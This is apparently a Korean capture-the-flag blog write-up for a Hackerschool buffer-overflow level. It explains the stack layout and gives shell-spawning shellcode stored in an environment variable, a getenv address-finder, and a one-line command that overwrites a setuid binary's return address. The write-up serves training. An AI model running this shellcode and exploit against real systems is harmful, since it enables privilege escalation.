[목차]
1. 문제 확인
2. 공격 방식 정리
3. 문제 풀이
[문제 확인]
1. 힌트 파일 분석
제공된 파일 확인 > 임시 폴더 생성 후 setuid 실행 파일 복사 > 소스 코드 분석
LEVEL1과 다른점은 버퍼 크기가 작아졌다는 것,
따라서 환경변수에 셸코드를 올려놓고
RET주소를 해당 환경변수로 변경한다.
2. 메모리 구조 확인
더미 공간은 없다고 했으니
메모리 공간 구조는 아래와 같다.
buffer (16) | SFP(EBP) (4) | RET (4)
3. 공격 방법 확인
buffer + SFP = 20 바이트 공간을 NOP으로 채우고
RET 주소를 쉘 생성코드가 저장되어 있는 주소로 덮어 씌우면
쉘이 떨어지게 될 것이다.
그러면 공격 진행에 필요한
환경변수에 쉘 코드를 올려 놓는 방법을 살펴보자.
[공격 방식 정리]
환경변수는 메모리 어딘가에 저장되어 있고
언제든 포인터를 활용해 환경변수를 사용할 수 있다.
따라서 환경변수에 쉘 생성코드를 넣어주고
해당 환경변수의 주소를 알아내어 사용하면 된다.
환경변수에 쉘 생성코드를 넣는 방법과
환경 변수가 위치한 정확한 주소를 알아내는
프로그램을 에그쉘, 에그 헌터라 한다.
1. 쉘 코드를 활용하여 환경변수에 등록 예
$ export SHELLCODE=`python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80"'`
or
vi egg.c
$ vi getenv.c
#include <stdio.h>
int main(int argc, char * argv[])
{
printf("[%p] \n", getenv(argv[1]));
return 0;
}
$ ./getenv SHELLCODE
[0xbffffd69] > 실제 에그 쉘 주소
공격 구문
$ (python -c 'print "\x90"*20+"\x6a\xfd\xff\xbf"'; cat;) | ./goblin
'WEB 진단 > WarGame' 카테고리의 다른 글
Lord of Sql Injection 2 : cobolt (0) | 2021.02.13 |
---|---|
Lord of Sql Injection 1 : gremlin (0) | 2021.02.12 |
해커스쿨 BOF 원정대 : 개요 및 Level1 풀기 (0) | 2020.12.21 |
해커스쿨 Hackme FTZ 문제: Level8~Level20 (Lv16까지 진행) (0) | 2020.12.16 |
해커스쿨 Hackme FTZ 문제 Level5- level7(백도어 in 리버스 엔지니어링) (0) | 2020.12.08 |